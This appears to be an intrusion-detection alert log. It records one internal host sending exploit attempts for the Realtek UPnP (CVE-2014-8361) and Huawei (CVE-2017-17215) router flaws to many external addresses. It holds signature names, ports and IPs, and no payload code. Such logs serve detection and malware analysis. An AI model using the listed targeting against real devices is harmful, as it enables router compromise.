Timestamp:	07/20/24-23:01:08.630327
SID:	2831300
Source Port:	44926
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 60.92.43.190

Timestamp:	07/20/24-23:01:10.523865
SID:	2025132
Source Port:	35540
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 148.119.6.34

Timestamp:	07/20/24-23:01:43.318305
SID:	2025132
Source Port:	53044
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 149.8.44.5

Timestamp:	07/20/24-23:01:50.313415
SID:	2027339
Source Port:	42688
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.123.9.56

Timestamp:	07/20/24-23:00:59.191389
SID:	2835222
Source Port:	47064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.199.249.9

Timestamp:	07/20/24-23:01:20.175900
SID:	2835222
Source Port:	37304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 51.131.43.210

Timestamp:	07/20/24-23:01:43.890780
SID:	2025132
Source Port:	60936
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 66.96.161.223

Timestamp:	07/20/24-23:01:46.773722
SID:	2831300
Source Port:	36020
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 204.152.123.98

Timestamp:	07/20/24-23:01:42.837135
SID:	2027339
Source Port:	47254
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 123.97.7.185

Timestamp:	07/20/24-23:01:44.428891
SID:	2027339
Source Port:	52146
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 52.167.234.201

Timestamp:	07/20/24-23:01:41.378871
SID:	2025132
Source Port:	58286
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 136.74.174.143

Timestamp:	07/20/24-23:01:08.621030
SID:	2027339
Source Port:	56310
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 2.78.155.76

Timestamp:	07/20/24-23:01:42.745085
SID:	2831300
Source Port:	47378
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 219.30.72.57

Timestamp:	07/20/24-23:01:45.143033
SID:	2027339
Source Port:	34238
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 1.176.237.99

Timestamp:	07/20/24-23:01:46.987215
SID:	2027339
Source Port:	58068
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 176.127.40.36

Timestamp:	07/20/24-23:01:42.632123
SID:	2027339
Source Port:	57086
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 181.147.220.98

Timestamp:	07/20/24-23:01:42.634606
SID:	2831300
Source Port:	33464
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 117.32.136.151

Timestamp:	07/20/24-23:01:34.045749
SID:	2835222
Source Port:	42846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.254.32.226

Timestamp:	07/20/24-23:01:40.322860
SID:	2835222
Source Port:	42490
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 170.121.46.240

Timestamp:	07/20/24-23:01:50.848727
SID:	2027339
Source Port:	52016
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.121.210.198

Timestamp:	07/20/24-23:01:04.113037
SID:	2829579
Source Port:	57922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 109.208.87.26

Timestamp:	07/20/24-23:01:40.319856
SID:	2829579
Source Port:	41910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 123.52.107.77

Timestamp:	07/20/24-23:01:12.861753
SID:	2831300
Source Port:	49736
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 162.142.171.159

Timestamp:	07/20/24-23:01:43.058686
SID:	2025132
Source Port:	53072
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 18.7.171.33

Timestamp:	07/20/24-23:01:49.463055
SID:	2831300
Source Port:	47496
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 31.72.24.180

Timestamp:	07/20/24-23:02:35.459810
SID:	2025132
Source Port:	48992
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 108.240.199.7

Timestamp:	07/20/24-23:01:31.313163
SID:	2027339
Source Port:	59674
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 96.239.240.238

Timestamp:	07/20/24-23:01:52.305893
SID:	2025132
Source Port:	60312
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 86.216.107.76

Timestamp:	07/20/24-23:01:43.199406
SID:	2027339
Source Port:	43286
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 59.111.61.71

Timestamp:	07/20/24-23:01:49.145932
SID:	2831300
Source Port:	52068
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 185.86.48.66

Timestamp:	07/20/24-23:01:43.001716
SID:	2027339
Source Port:	39670
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 222.227.230.240

Timestamp:	07/20/24-23:01:43.170156
SID:	2027339
Source Port:	40400
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 125.174.13.114

Timestamp:	07/20/24-23:01:44.895849
SID:	2027339
Source Port:	35128
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 69.103.140.112

Timestamp:	07/20/24-23:01:41.620386
SID:	2831300
Source Port:	50676
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 153.113.97.179

Timestamp:	07/20/24-23:01:42.636583
SID:	2025132
Source Port:	59580
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 197.132.250.53

Timestamp:	07/20/24-23:01:42.627588
SID:	2027339
Source Port:	41408
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 123.35.251.224

Timestamp:	07/20/24-23:01:31.979565
SID:	2835222
Source Port:	50932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 66.164.253.202

Timestamp:	07/20/24-23:01:24.567513
SID:	2025132
Source Port:	35712
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 145.80.152.144

Timestamp:	07/20/24-23:01:53.675171
SID:	2025132
Source Port:	39908
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 213.71.93.224

Timestamp:	07/20/24-23:01:31.317774
SID:	2027339
Source Port:	57996
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.139.170.13

Timestamp:	07/20/24-23:01:24.915904
SID:	2835222
Source Port:	51416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 119.145.77.109

Timestamp:	07/20/24-23:01:52.089079
SID:	2025132
Source Port:	46226
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 61.109.235.175

Timestamp:	07/20/24-23:02:17.128771
SID:	2027339
Source Port:	53648
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.132.20.65

Timestamp:	07/20/24-23:00:59.187842
SID:	2829579
Source Port:	33894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 13.188.89.36

Timestamp:	07/20/24-23:01:08.600680
SID:	2831300
Source Port:	34588
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 213.118.6.220

Timestamp:	07/20/24-23:01:43.541579
SID:	2831300
Source Port:	45090
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 193.12.149.189

Timestamp:	07/20/24-23:01:44.464382
SID:	2025132
Source Port:	42596
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.185.138.78

Timestamp:	07/20/24-23:01:04.094795
SID:	2835222
Source Port:	42104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 192.45.244.106

Timestamp:	07/20/24-23:01:58.143690
SID:	2027339
Source Port:	35542
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 120.235.235.116

Timestamp:	07/20/24-23:02:45.524183
SID:	2025132
Source Port:	41146
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 149.142.97.135

Timestamp:	07/20/24-23:01:31.325694
SID:	2831300
Source Port:	37036
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 51.49.44.101

Timestamp:	07/20/24-23:01:11.149832
SID:	2025132
Source Port:	41576
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.224.182.83

Timestamp:	07/20/24-23:00:57.222080
SID:	2835222
Source Port:	46562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 54.42.165.29

Timestamp:	07/20/24-23:01:49.693650
SID:	2025132
Source Port:	60962
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 98.158.142.52

Timestamp:	07/20/24-23:01:58.424201
SID:	2027339
Source Port:	57774
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.114.117.243

Timestamp:	07/20/24-23:00:59.172943
SID:	2835222
Source Port:	44106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 201.173.108.254

Timestamp:	07/20/24-23:01:02.449592
SID:	2025132
Source Port:	43378
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 189.30.194.82

Timestamp:	07/20/24-23:01:42.390246
SID:	2831300
Source Port:	54968
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 140.138.195.141

Timestamp:	07/20/24-23:01:44.602081
SID:	2027339
Source Port:	33104
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.83.137.181

Timestamp:	07/20/24-23:01:40.296076
SID:	2829579
Source Port:	37636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.116.61.223

Timestamp:	07/20/24-23:01:42.501090
SID:	2027339
Source Port:	60800
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 130.253.20.234

Timestamp:	07/20/24-23:01:58.608087
SID:	2027339
Source Port:	37112
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.16.1.141

Timestamp:	07/20/24-23:01:11.635828
SID:	2829579
Source Port:	56278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 186.206.154.241

Timestamp:	07/20/24-23:01:44.500152
SID:	2027339
Source Port:	40244
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 82.99.109.50

Timestamp:	07/20/24-23:01:02.395457
SID:	2025132
Source Port:	52660
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 183.182.103.28

Timestamp:	07/20/24-23:01:10.977084
SID:	2027339
Source Port:	60170
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 139.158.177.85

Timestamp:	07/20/24-23:01:51.290278
SID:	2025132
Source Port:	33108
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 142.105.178.104

Timestamp:	07/20/24-23:01:42.374543
SID:	2025132
Source Port:	53570
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 197.25.236.70

Timestamp:	07/20/24-23:01:41.322614
SID:	2027339
Source Port:	60750
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 146.0.35.148

Timestamp:	07/20/24-23:01:42.874808
SID:	2831300
Source Port:	54348
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 54.235.197.43

Timestamp:	07/20/24-23:01:08.578727
SID:	2831300
Source Port:	35996
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.133.161.252

Timestamp:	07/20/24-23:01:49.198416
SID:	2027339
Source Port:	47642
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 88.239.244.206

Timestamp:	07/20/24-23:01:57.847364
SID:	2027339
Source Port:	42466
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 216.159.45.191

Timestamp:	07/20/24-23:01:41.193880
SID:	2027339
Source Port:	34308
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 168.165.233.141

Timestamp:	07/20/24-23:00:57.222008
SID:	2829579
Source Port:	35550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 153.197.120.12

Timestamp:	07/20/24-23:01:45.197712
SID:	2025132
Source Port:	46672
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 2.32.130.76

Timestamp:	07/20/24-23:01:08.588009
SID:	2027339
Source Port:	34436
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.171.202.164

Timestamp:	07/20/24-23:01:49.537827
SID:	2027339
Source Port:	59670
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 173.155.49.17

Timestamp:	07/20/24-23:00:57.220937
SID:	2835222
Source Port:	42510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 103.0.203.61

Timestamp:	07/20/24-23:01:44.533289
SID:	2025132
Source Port:	44910
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 159.20.45.153

Timestamp:	07/20/24-23:01:01.839255
SID:	2027339
Source Port:	41974
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.205.78.42

Timestamp:	07/20/24-23:01:11.633481
SID:	2829579
Source Port:	53458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 105.139.214.54

Timestamp:	07/20/24-23:01:42.699478
SID:	2027339
Source Port:	37526
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 60.88.74.46

Timestamp:	07/20/24-23:01:46.552279
SID:	2027339
Source Port:	48718
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 142.90.33.83

Timestamp:	07/20/24-23:01:08.938949
SID:	2831300
Source Port:	51090
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 117.49.51.0

Timestamp:	07/20/24-23:01:01.308250
SID:	2027339
Source Port:	47302
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.38.231.207

Timestamp:	07/20/24-23:01:27.658221
SID:	2829579
Source Port:	47452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 208.81.102.220

Timestamp:	07/20/24-23:01:45.116897
SID:	2831300
Source Port:	47614
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 142.90.33.83

Timestamp:	07/20/24-23:01:01.212254
SID:	2025132
Source Port:	48726
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 18.202.42.80

Timestamp:	07/20/24-23:01:44.837053
SID:	2027339
Source Port:	42080
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 32.82.7.154

Timestamp:	07/20/24-23:01:52.061339
SID:	2027339
Source Port:	38364
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 132.77.166.224

Timestamp:	07/20/24-23:01:48.083998
SID:	2027339
Source Port:	36126
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.93.140.206

Timestamp:	07/20/24-23:01:24.960642
SID:	2835222
Source Port:	40560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.92.73.201

Timestamp:	07/20/24-23:01:50.131564
SID:	2027339
Source Port:	40240
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 44.107.36.53

Timestamp:	07/20/24-23:01:07.036064
SID:	2829579
Source Port:	45644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 52.164.165.154

Timestamp:	07/20/24-23:01:14.387649
SID:	2025132
Source Port:	33180
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.233.17.165

Timestamp:	07/20/24-23:01:20.110860
SID:	2835222
Source Port:	57738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 81.184.225.73

Timestamp:	07/20/24-23:01:27.708151
SID:	2829579
Source Port:	54590
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 174.16.2.141

Timestamp:	07/20/24-23:01:43.039504
SID:	2027339
Source Port:	52804
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

